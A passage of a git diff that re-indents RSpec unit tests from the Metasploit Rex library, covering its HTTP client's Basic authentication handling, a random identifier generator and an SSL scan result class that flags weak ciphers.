cli.instance_variable_get(:@context).should == {} + cli.instance_variable_get(:@ssl).should be_false + cli.instance_variable_get(:@proxies).should be_nil + cli.instance_variable_get(:@username).should be_empty + cli.instance_variable_get(:@password).should be_empty + cli.config.should be_a_kind_of Hash + end + + it "should produce a raw HTTP request" do + cli.request_raw.should be_a_kind_of Rex::Proto::Http::ClientRequest + end + + it "should produce a CGI HTTP request" do + req = cli.request_cgi + req.should be_a_kind_of Rex::Proto::Http::ClientRequest + end + + context "with authorization" do + subject(:cli) do + cli = Rex::Proto::Http::Client.new(ip) + cli.set_config({"authorization" => "Basic base64dstuffhere"}) + cli + end + let(:user) { "user" } + let(:pass) { "pass" } + let(:base64) { ["user:pass"].pack('m').chomp } + + context "and an Authorization header" do + before do + cli.set_config({"headers" => { "Authorization" => "Basic #{base64}" } }) + end + it "should have one Authorization header" do + req = cli.request_cgi + match = req.to_s.match("Authorization: Basic") + match.should be + match.length.should == 1 + end + it "should prefer the value in the header" do + req = cli.request_cgi + match = req.to_s.match(/Authorization: Basic (.*)$/) + match.should be + match.captures.length.should == 1 + match.captures[0].chomp.should == base64 + end + end + end + + context "with credentials" do + subject(:cli) do + cli = Rex::Proto::Http::Client.new(ip) + cli + end + let(:first_response) { + "HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Basic realm=\"foo\"\r\n\r\n" + } + let(:authed_response) { + "HTTP/1.1 200 Ok\r\nContent-Length: 0\r\n\r\n" + } + let(:user) { "user" } + let(:pass) { "pass" } + + it "should not send creds on the first request in order to induce a 401" do + req = cli.request_cgi + req.to_s.should_not match("Authorization:") + end + + it "should send creds after receiving a 401" do + conn = double + conn.stub(:put) + conn.stub(:shutdown) + conn.stub(:close) + + conn.should_receive(:get_once).and_return(first_response, authed_response) + conn.should_receive(:put) do |str_request| + str_request.should_not include("Authorization") + nil + end + conn.should_receive(:put) do |str_request| + str_request.should include("Authorization") + nil + end + + cli.should_receive(:_send_recv).twice.and_call_original + + Rex::Socket::Tcp.stub(:create).and_return(conn) + + opts = { "username" => user, "password" => pass} + req = cli.request_cgi(opts) + cli.send_recv(req) + + # Make sure it didn't modify the argument + opts.should == { "username" => user, "password" => pass} + end + + end + + it "should attempt to connect to a server" do + this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) + expect { this_cli.connect(1) }.to raise_error ::Rex::ConnectionRefused + end + + it "should be able to close a connection" do + cli.close.should be_nil + end + + it "should send a request and receive a response", :pending => excuse_needs_connection do + + end + + it "should send a request and receive a response without auth handling", :pending => excuse_needs_connection do + + end + + it "should send a request", :pending => excuse_needs_connection do + + end + + it "should test for credentials" do + pending "Should actually respond to :has_creds" do + cli.should_not have_creds + this_cli = described_class.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) + this_cli.should have_creds + end + end + + it "should send authentication", :pending => excuse_needs_connection + + it "should produce a basic authentication header" do + u = "user1" + p = "pass1" + b64 = ["#{u}:#{p}"].pack("m*").strip + cli.basic_auth_header("user1","pass1").should == "Basic #{b64}" + end + + it "should perform digest authentication", :pending => excuse_needs_auth do + + end + + it "should perform negotiate authentication", :pending => excuse_needs_auth do + + end + + it "should get a response", :pending => excuse_needs_connection do + + end + + it "should end a connection with a stop" do + cli.stop.should be_nil + end + + it "should test if a connection is valid" do + cli.conn?.should be_false + end + + it "should tell if pipelining is enabled" do + cli.should_not be_pipelining + this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) + this_cli.pipeline = true + this_cli.should be_pipelining + end + + it "should respond to its various accessors" do + cli.should respond_to :config + cli.should respond_to :config_types + cli.should respond_to :pipeline + cli.should respond_to :local_host + cli.should respond_to :local_port + cli.should respond_to :conn + cli.should respond_to :context + cli.should respond_to :proxies + cli.should respond_to :username + cli.should respond_to :password + cli.should respond_to :junk_pipeline + # These are supposed to be protected + cli.should respond_to :ssl + cli.should respond_to :ssl_version + cli.should respond_to :hostname + cli.should respond_to :port + end - # Not super sure why these are protected... - it "should refuse access to its protected accessors" do - expect {cli.ssl}.to raise_error NoMethodError - expect {cli.ssl_version}.to raise_error NoMethodError - expect {cli.hostname}.to raise_error NoMethodError - expect {cli.port}.to raise_error NoMethodError - end + # Not super sure why these are protected... + it "should refuse access to its protected accessors" do + expect {cli.ssl}.to raise_error NoMethodError + expect {cli.ssl_version}.to raise_error NoMethodError + expect {cli.hostname}.to raise_error NoMethodError + expect {cli.port}.to raise_error NoMethodError + end end diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index d75a03f5fd84..4a793425bbe6 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -2,140 +2,140 @@ require 'rex/random_identifier_generator' describe Rex::RandomIdentifierGenerator do - let(:options) do - { :min_length => 10, :max_length => 20 } - end - - subject(:rig) { described_class.new(options) } - - it { should respond_to(:generate) } - it { should respond_to(:[]) } - it { should respond_to(:get) } - it { should respond_to(:store) } - it { should respond_to(:to_h) } - - describe "#generate" do - it "should respect :min_length" do - 1000.times do - rig.generate.length.should >= options[:min_length] - end - end - - it "should respect :max_length" do - 1000.times do - rig.generate.length.should <= options[:max_length] - end - end - - it "should allow mangling in a block" do - ident = rig.generate { |identifier| identifier.upcase } - ident.should match(/\A[A-Z0-9_]*\Z/) - - ident = subject.generate { |identifier| identifier.downcase } - ident.should match(/\A[a-z0-9_]*\Z/) - - ident = subject.generate { |identifier| identifier.gsub("A","B") } - ident.should_not include("A") - end - end - - describe "#get" do - let(:options) do - { :min_length=>3, :max_length=>3 } - end - it "should return the same thing for subsequent calls" do - rig.get(:rspec).should == rig.get(:rspec) - end - it "should not return the same for different names" do - # Statistically... - count = 1000 - a = Set.new - count.times do |n| - a.add rig.get(n) - end - a.size.should == count - end - - context "with an exhausted set" do - let(:options) do - { :char_set => "abcd", :min_length=>2, :max_length=>2 } - end - let(:max_permutations) do - # 26 because first char is hardcoded to be lowercase alpha - 26 * (options[:char_set].length ** options[:min_length]) - end - - it "doesn't infinite loop" do - Timeout.timeout(1) do - expect { - (max_permutations + 1).times { |i| rig.get(i) } - }.to raise_error(Rex::RandomIdentifierGenerator::ExhaustedSpaceError) - # don't rescue TimeoutError here because we want that to be a - # failure case - end - end - - end - - end - - describe "#store" do - let(:options) do - { :char_set => "abcd", :min_length=>8, :max_length=>20 } - end - - it "should allow smaller than minimum length" do - value = "a"*(options[:min_length]-1) - rig.store(:spec, value) - rig.get(:spec).should == value - end - - it "should allow bigger than maximum length" do - value = "a"*(options[:max_length]+1) - rig.store(:spec, value) - rig.get(:spec).should == value - end - - it "should raise if value is not unique" do - value = "a"*(options[:max_length]+1) - rig.store(:spec0, value) - rig.get(:spec0).should == value - expect { rig.store(:spec1, value) }.to raise_error - end - - it "should overwrite a previously stored value" do - orig_value = "a"*(options[:max_length]) - rig.store(:spec, orig_value) - rig.get(:spec).should == orig_value - - new_value = "b"*(options[:max_length]) - rig.store(:spec, new_value) - rig.get(:spec).should == new_value - end - - it "should overwrite a previously generated value" do - rig.get(:spec) - - new_value = "a"*(options[:max_length]) - rig.store(:spec, new_value) - rig.get(:spec).should == new_value - end - - end - - describe "#to_h" do - it "should return a Hash" do - rig.to_h.should be_kind_of(Hash) - end - it "should return expected key-value pairs" do - expected_keys = [:var_foo, :var_bar] - expected_keys.shuffle.each do |key| - rig.init_var(key) - end - rig.to_h.size.should eq(expected_keys.size) - rig.to_h.keys.should include(*expected_keys) - rig.to_h.values.map {|v| v.class}.uniq.should eq([String]) - end - end + let(:options) do + { :min_length => 10, :max_length => 20 } + end + + subject(:rig) { described_class.new(options) } + + it { should respond_to(:generate) } + it { should respond_to(:[]) } + it { should respond_to(:get) } + it { should respond_to(:store) } + it { should respond_to(:to_h) } + + describe "#generate" do + it "should respect :min_length" do + 1000.times do + rig.generate.length.should >= options[:min_length] + end + end + + it "should respect :max_length" do + 1000.times do + rig.generate.length.should <= options[:max_length] + end + end + + it "should allow mangling in a block" do + ident = rig.generate { |identifier| identifier.upcase } + ident.should match(/\A[A-Z0-9_]*\Z/) + + ident = subject.generate { |identifier| identifier.downcase } + ident.should match(/\A[a-z0-9_]*\Z/) + + ident = subject.generate { |identifier| identifier.gsub("A","B") } + ident.should_not include("A") + end + end + + describe "#get" do + let(:options) do + { :min_length=>3, :max_length=>3 } + end + it "should return the same thing for subsequent calls" do + rig.get(:rspec).should == rig.get(:rspec) + end + it "should not return the same for different names" do + # Statistically... + count = 1000 + a = Set.new + count.times do |n| + a.add rig.get(n) + end + a.size.should == count + end + + context "with an exhausted set" do + let(:options) do + { :char_set => "abcd", :min_length=>2, :max_length=>2 } + end + let(:max_permutations) do + # 26 because first char is hardcoded to be lowercase alpha + 26 * (options[:char_set].length ** options[:min_length]) + end + + it "doesn't infinite loop" do + Timeout.timeout(1) do + expect { + (max_permutations + 1).times { |i| rig.get(i) } + }.to raise_error(Rex::RandomIdentifierGenerator::ExhaustedSpaceError) + # don't rescue TimeoutError here because we want that to be a + # failure case + end + end + + end + + end + + describe "#store" do + let(:options) do + { :char_set => "abcd", :min_length=>8, :max_length=>20 } + end + + it "should allow smaller than minimum length" do + value = "a"*(options[:min_length]-1) + rig.store(:spec, value) + rig.get(:spec).should == value + end + + it "should allow bigger than maximum length" do + value = "a"*(options[:max_length]+1) + rig.store(:spec, value) + rig.get(:spec).should == value + end + + it "should raise if value is not unique" do + value = "a"*(options[:max_length]+1) + rig.store(:spec0, value) + rig.get(:spec0).should == value + expect { rig.store(:spec1, value) }.to raise_error + end + + it "should overwrite a previously stored value" do + orig_value = "a"*(options[:max_length]) + rig.store(:spec, orig_value) + rig.get(:spec).should == orig_value + + new_value = "b"*(options[:max_length]) + rig.store(:spec, new_value) + rig.get(:spec).should == new_value + end + + it "should overwrite a previously generated value" do + rig.get(:spec) + + new_value = "a"*(options[:max_length]) + rig.store(:spec, new_value) + rig.get(:spec).should == new_value + end + + end + + describe "#to_h" do + it "should return a Hash" do + rig.to_h.should be_kind_of(Hash) + end + it "should return expected key-value pairs" do + expected_keys = [:var_foo, :var_bar] + expected_keys.shuffle.each do |key| + rig.init_var(key) + end + rig.to_h.size.should eq(expected_keys.size) + rig.to_h.keys.should include(*expected_keys) + rig.to_h.values.map {|v| v.class}.uniq.should eq([String]) + end + end end diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 9e0363750b99..e2d66d4ce4b0 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -3,7 +3,7 @@ describe Rex::SSLScan::Result do - subject{Rex::SSLScan::Result.new} + subject{Rex::SSLScan::Result.new} it { should respond_to :accepted } it { should respond_to :cert } @@ -21,507 +21,507 @@ it { should respond_to :tlsv1 } it { should respond_to :weak_ciphers } - context "with no values set" do - it "should return nil for the cert" do - subject.cert.should == nil - end - - it "should return an empty set for ciphers" do - subject.ciphers.should be_empty - end - - it "should return an empty array for accepted" do - subject.accepted.should == [] - end - - it "should return an empty array for rejected" do - subject.rejected.should == [] - end - - it "should return an empty array for #sslv2" do - subject.sslv2.should == [] - end - - it "should return an empty array for #sslv3" do - subject.sslv3.should == [] - end - - it "should return an empty array for #tlsv1" do - subject.tlsv1.should == [] - end - - it "should return an empty array for #weak_ciphers" do - subject.weak_ciphers.should == [] - end - - it "should return an empty array for #strong_ciphers" do - subject.strong_ciphers.should == [] - end - - it "should return false for #supports_ssl?" do - subject.supports_ssl?.should == false - end - - it "should return false for #supports_ssl?v2" do - subject.supports_sslv2?.should == false - end - - it "should return false for #supports_sslv3?" do - subject.supports_sslv3?.should == false - end - - it "should return false for #supports_tlsv1?" do - subject.supports_tlsv1?.should == false - end - - it "should return false for #supports_weak_ciphers?" do - subject.supports_weak_ciphers?.should == false - end - - it "should return true for #standards_compliant?" do - subject.standards_compliant?.should == true - end - end - - context "setting the cert" do - it "should accept nil" do - subject.cert = nil - subject.cert.should == nil - end - - it "should accept an X509 cert" do - cert = OpenSSL::X509::Certificate.new - subject.cert = cert - subject.cert.should == cert - end - - it "should raise an exception for anything else" do - expect{subject.cert = "foo"}.to raise_error - end - end - - context "adding a cipher result" do - context "should raise an exception if" do - it "given an invalid SSL version" do - expect{subject.add_cipher(:ssl3, 'AES256-SHA', 256, :accepted )}.to raise_error - end - - it "given SSL version as a string" do - expect{subject.add_cipher('sslv3', 'AES256-SHA', 256, :accepted )}.to raise_error - end - - it "given an invalid SSL cipher" do - expect{subject.add_cipher(:SSLv3, 'FOO256-SHA', 256, :accepted )}.to raise_error - end - - it "given an unsupported cipher for the version" do - expect{subject.add_cipher(:SSLv3, 'DES-CBC3-MD5', 256, :accepted )}.to raise_error - end - - it "given a non-number for key length" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', "256", :accepted )}.to raise_error - end - - it "given a decimal key length" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 25.6, :accepted )}.to raise_error - end - - it "given an invalid status" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, :good )}.to raise_error - end - - it "given status as a string" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, "accepted" )}.to raise_error - end - end - context "that was accepted" do - it "should add an SSLv2 cipher result to the SSLv2 Accepted array or generate an SSLv2 exception" do - begin - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.accepted(:SSLv2).should include({ - :version => :SSLv2, - :cipher=>"DES-CBC3-MD5", - :key_length=>168, - :weak=> false, - :status => :accepted}) - rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." - end - end - - it "should add an SSLv3 cipher result to the SSLv3 Accepted array" do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.accepted(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :accepted}) - end - - it "should add an TLSv1 cipher result to the TLSv1 Accepted array" do - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.accepted(:TLSv1).should include({ - :version => :TLSv1, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :accepted}) - end - - it "should successfully add multiple entries in a row" do - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.accepted(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :accepted}) - subject.accepted(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :accepted}) - end - - it "should not add duplicate entries" do - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.accepted(:SSLv3).count.should == 1 - end - end - context "that was rejected" do - it "should add an SSLv2 cipher result to the SSLv2 Rejected array or generate an SSLv2 exception" do - begin - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :rejected) - subject.rejected(:SSLv2).should include({ - :version => :SSLv2, - :cipher=>"DES-CBC3-MD5", - :key_length=>168, - :weak=> false, - :status => :rejected}) - rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." - end - end - - it "should add an SSLv3 cipher result to the SSLv3 Rejected array" do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - subject.rejected(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :rejected}) - end - - it "should add an TLSv1 cipher result to the TLSv1 Rejected array" do - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) - subject.rejected(:TLSv1).should include({ - :version => :TLSv1, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :rejected}) - end - - it "should successfully add multiple entries in a row" do - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - subject.rejected(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :rejected}) - subject.rejected(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES128-SHA", - :key_length=>128, - :weak=> false, - :status => :rejected}) - end - - it "should not add duplicate entries" do - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - subject.rejected(:SSLv3).count.should == 1 - end - end - end - - context "enumerating all accepted ciphers" do - before(:each) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - end - - context "with no version selected" do - it "should return an array of cipher detail hashes" do - subject.each_accepted do |cipher_details| - cipher_details.should include(:version, :cipher, :key_length, :status, :weak) - end - end - - it "should return all of the accepted cipher details" do - count = 0 - subject.each_accepted do |cipher_details| - count = count+1 - end - count.should == 3 - end - end - - context "when specifying one SSL version" do - it "should raise an exception if not given a symbol" do - expect{ subject.each_accepted('sslv2')}.to raise_error - end - - it "should raise an exception if given an invalid SSL version" do - expect{ subject.each_accepted(:TLSv3)}.to raise_error - end - - it "should return only ciphers matching the version" do - subject.each_accepted(:SSLv3) do |cipher_details| - cipher_details[:version].should == :SSLv3 - end - end - end - - context "when specifying multiple SSL Versions in an array" do - it "should return all versions if no valid versions were supplied" do - count = 0 - subject.each_accepted([:TLSv3, :TLSv4]) do |cipher_details| - count = count+1 - end - count.should == 3 - end - - it "should return only the ciphers for the specified version" do - subject.each_accepted([:SSLv3,:TLSv1]) do |cipher_details| - cipher_details[:version].should_not == :SSLv2 - end - end - end - end - - context "enumerating all rejected ciphers" do - before(:each) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - end - - context "with no version selected" do - it "should return an array of cipher detail hashes" do - subject.each_rejected do |cipher_details| - cipher_details.should include(:version, :cipher, :key_length, :status, :weak) - end - end - - it "should return all of the rejected cipher details" do - count = 0 - subject.each_rejected do |cipher_details| - count = count+1 - end - count.should == 3 - end - end - - context "when specifying one SSL version" do - it "should raise an exception if not given a symbol" do - expect{ subject.each_rejected('sslv2')}.to raise_error - end - - it "should raise an exception if given an invalid SSL version" do - expect{ subject.each_rejected(:TLSv3)}.to raise_error - end - - it "should return only ciphers matching the version" do - subject.each_rejected(:SSLv3) do |cipher_details| - cipher_details[:version].should == :SSLv3 - end - end - end - - context "when specifying multiple SSL Versions in an array" do - it "should return all versions if no valid versions were supplied" do - count = 0 - subject.each_rejected([:TLSv3, :TLSv4]) do |cipher_details| - count = count+1 - end - count.should == 3 - end - - it "should return only the ciphers for the specified version" do - subject.each_rejected([:SSLv3,:TLSv1]) do |cipher_details| - cipher_details[:version].should_not == :SSLv2 - end - end - end - end - - context "checking SSL support" do - context "for SSLv2" do - it "should return false if there are no accepted ciphers" do - subject.supports_sslv2?.should == false - end - it "should return true if there are accepted ciphers or raise an SSLv2 exception" do - begin - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.supports_sslv2?.should == true - rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." - end - end - end - context "for SSLv3" do - it "should return false if there are no accepted ciphers" do - subject.supports_sslv3?.should == false - end - it "should return true if there are accepted ciphers" do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.supports_sslv3?.should == true - end - end - context "for TLSv1" do - it "should return false if there are no accepted ciphers" do - subject.supports_tlsv1?.should == false - end - it "should return true if there are accepted ciphers" do - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.supports_tlsv1?.should == true - end - end - context "for SSL at large" do - it "should return false if there are no accepted ciphers" do - subject.supports_ssl?.should == false - end - it "should return true if there are accepted ciphers" do - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.supports_ssl?.should == true - end - end - end - - context "checking for weak ciphers" do - context "when weak ciphers are supported" do - before(:each) do - subject.add_cipher(:SSLv3, "EXP-RC4-MD5", 40, :accepted) - subject.add_cipher(:SSLv3, "DES-CBC-SHA", 56, :accepted) - end - it "should return an array of weak ciphers from #weak_ciphers" do - weak = subject.weak_ciphers - weak.class.should == Array - weak.each do |cipher| - cipher[:weak].should == true - end - weak.count.should == 2 - end - - it "should return true from #supports_weak_ciphers" do - subject.supports_weak_ciphers?.should == true - end - end - - context "when no weak ciphers are supported" do - before(:each) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - end - it "should return an empty array from #weak_ciphers" do - subject.weak_ciphers.should == [] - end - - it "should return false from #supports_weak_ciphers" do - subject.supports_weak_ciphers?.should == false - end - end - end - - context "checking for standards compliance" do - it "should return true if there is no SSL support" do - subject.standards_compliant?.should == true - end - - it "should return false if SSLv2 is supported or raise an SSLv2 exception" do - begin - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.standards_compliant?.should == false - rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." - end - end - - it "should return false if weak ciphers are supported" do - subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) - subject.standards_compliant?.should == false - end - - it "should return true if SSLv2 and Weak Ciphers are disabled" do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.standards_compliant?.should == true - end - end - - context "when printing the results" do - context "when OpenSSL is compiled without SSLv2" do - before(:each) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.openssl_sslv2 = false - end - it "should warn the user" do - subject.to_s.should include "*** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" - end - end - - context "when we have SSL results" do - before(:each) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) - - cert = OpenSSL::X509::Certificate.new - key = OpenSSL::PKey::RSA.new 2048 - cert.version = 2 # - cert.serial = 1 - cert.subject = OpenSSL::X509::Name.parse "/DC=org/DC=ruby-lang/CN=Ruby CA" - cert.issuer = cert.subject - cert.public_key = key.public_key - cert.not_before = Time.now - cert.not_after = cert.not_before + 2 * 365 * 24 * 60 * 60 # 2 - - subject.cert = cert - end - - it "should contain the certificate" do - subject.to_s.should include "Issuer: DC=org, DC=ruby-lang, CN=Ruby CA" - subject.to_s.should include "Subject: DC=org, DC=ruby-lang, CN=Ruby CA" - end - - it "should have a table with our SSL Cipher Results" do - subject.to_s.should include "Accepted * SSLv3 40 EXP-RC2-CBC-MD5" - subject.to_s.should include "Accepted SSLv3 128 AES128-SHA" - subject.to_s.should include "Accepted SSLv3 256 AES256-SHA" - subject.to_s.should include "Accepted TLSv1 256 AES256-SHA" - end - end - - it "should return an appropriate message when SSL is not supported" do - subject.stub(:supports_ssl?).and_return(false) - subject.to_s.should == "Server does not appear to support SSL on this port!" - end - - - end + context "with no values set" do + it "should return nil for the cert" do + subject.cert.should == nil + end + + it "should return an empty set for ciphers" do + subject.ciphers.should be_empty + end + + it "should return an empty array for accepted" do + subject.accepted.should == [] + end + + it "should return an empty array for rejected" do + subject.rejected.should == [] + end + + it "should return an empty array for #sslv2" do + subject.sslv2.should == [] + end + + it "should return an empty array for #sslv3" do + subject.sslv3.should == [] + end + + it "should return an empty array for #tlsv1" do + subject.tlsv1.should == [] + end + + it "should return an empty array for #weak_ciphers" do + subject.weak_ciphers.should == [] + end + + it "should return an empty array for #strong_ciphers" do + subject.strong_ciphers.should == [] + end + + it "should return false for #supports_ssl?" do + subject.supports_ssl?.should == false + end + + it "should return false for #supports_ssl?v2" do + subject.supports_sslv2?.should == false + end + + it "should return false for #supports_sslv3?" do + subject.supports_sslv3?.should == false + end + + it "should return false for #supports_tlsv1?" do + subject.supports_tlsv1?.should == false + end + + it "should return false for #supports_weak_ciphers?" do + subject.supports_weak_ciphers?.should == false + end + + it "should return true for #standards_compliant?" do + subject.standards_compliant?.should == true + end + end + + context "setting the cert" do + it "should accept nil" do + subject.cert = nil + subject.cert.should == nil + end + + it "should accept an X509 cert" do + cert = OpenSSL::X509::Certificate.new + subject.cert = cert + subject.cert.should == cert + end + + it "should raise an exception for anything else" do + expect{subject.cert = "foo"}.to raise_error + end + end + + context "adding a cipher result" do + context "should raise an exception if" do + it "given an invalid SSL version" do + expect{subject.add_cipher(:ssl3, 'AES256-SHA', 256, :accepted )}.to raise_error + end + + it "given SSL version as a string" do + expect{subject.add_cipher('sslv3', 'AES256-SHA', 256, :accepted )}.to raise_error + end + + it "given an invalid SSL cipher" do + expect{subject.add_cipher(:SSLv3, 'FOO256-SHA', 256, :accepted )}.to raise_error + end + + it "given an unsupported cipher for the version" do + expect{subject.add_cipher(:SSLv3, 'DES-CBC3-MD5', 256, :accepted )}.to raise_error + end + + it "given a non-number for key length" do + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', "256", :accepted )}.to raise_error + end + + it "given a decimal key length" do + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 25.6, :accepted )}.to raise_error + end + + it "given an invalid status" do + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, :good )}.to raise_error + end + + it "given status as a string" do + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, "accepted" )}.to raise_error + end + end + context "that was accepted" do + it "should add an SSLv2 cipher result to the SSLv2 Accepted array or generate an SSLv2 exception" do + begin + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.accepted(:SSLv2).should include({ + :version => :SSLv2, + :cipher=>"DES-CBC3-MD5", + :key_length=>168, + :weak=> false, + :status => :accepted}) + rescue ArgumentError => e + e.message.should == "unknown SSL method `SSLv2'." + end + end + + it "should add an SSLv3 cipher result to the SSLv3 Accepted array" do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.accepted(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :accepted}) + end + + it "should add an TLSv1 cipher result to the TLSv1 Accepted array" do + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.accepted(:TLSv1).should include({ + :version => :TLSv1, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :accepted}) + end + + it "should successfully add multiple entries in a row" do + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.accepted(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :accepted}) + subject.accepted(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :accepted}) + end + + it "should not add duplicate entries" do + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.accepted(:SSLv3).count.should == 1 + end + end + context "that was rejected" do + it "should add an SSLv2 cipher result to the SSLv2 Rejected array or generate an SSLv2 exception" do + begin + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :rejected) + subject.rejected(:SSLv2).should include({ + :version => :SSLv2, + :cipher=>"DES-CBC3-MD5", + :key_length=>168, + :weak=> false, + :status => :rejected}) + rescue ArgumentError => e + e.message.should == "unknown SSL method `SSLv2'." + end + end + + it "should add an SSLv3 cipher result to the SSLv3 Rejected array" do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) + subject.rejected(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :rejected}) + end + + it "should add an TLSv1 cipher result to the TLSv1 Rejected array" do + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) + subject.rejected(:TLSv1).should include({ + :version => :TLSv1, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :rejected}) + end + + it "should successfully add multiple entries in a row" do + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) + subject.rejected(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :rejected}) + subject.rejected(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES128-SHA", + :key_length=>128, + :weak=> false, + :status => :rejected}) + end + + it "should not add duplicate entries" do + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) + subject.rejected(:SSLv3).count.should == 1 + end + end + end + + context "enumerating all accepted ciphers" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + end + + context "with no version selected" do + it "should return an array of cipher detail hashes" do + subject.each_accepted do |cipher_details| + cipher_details.should 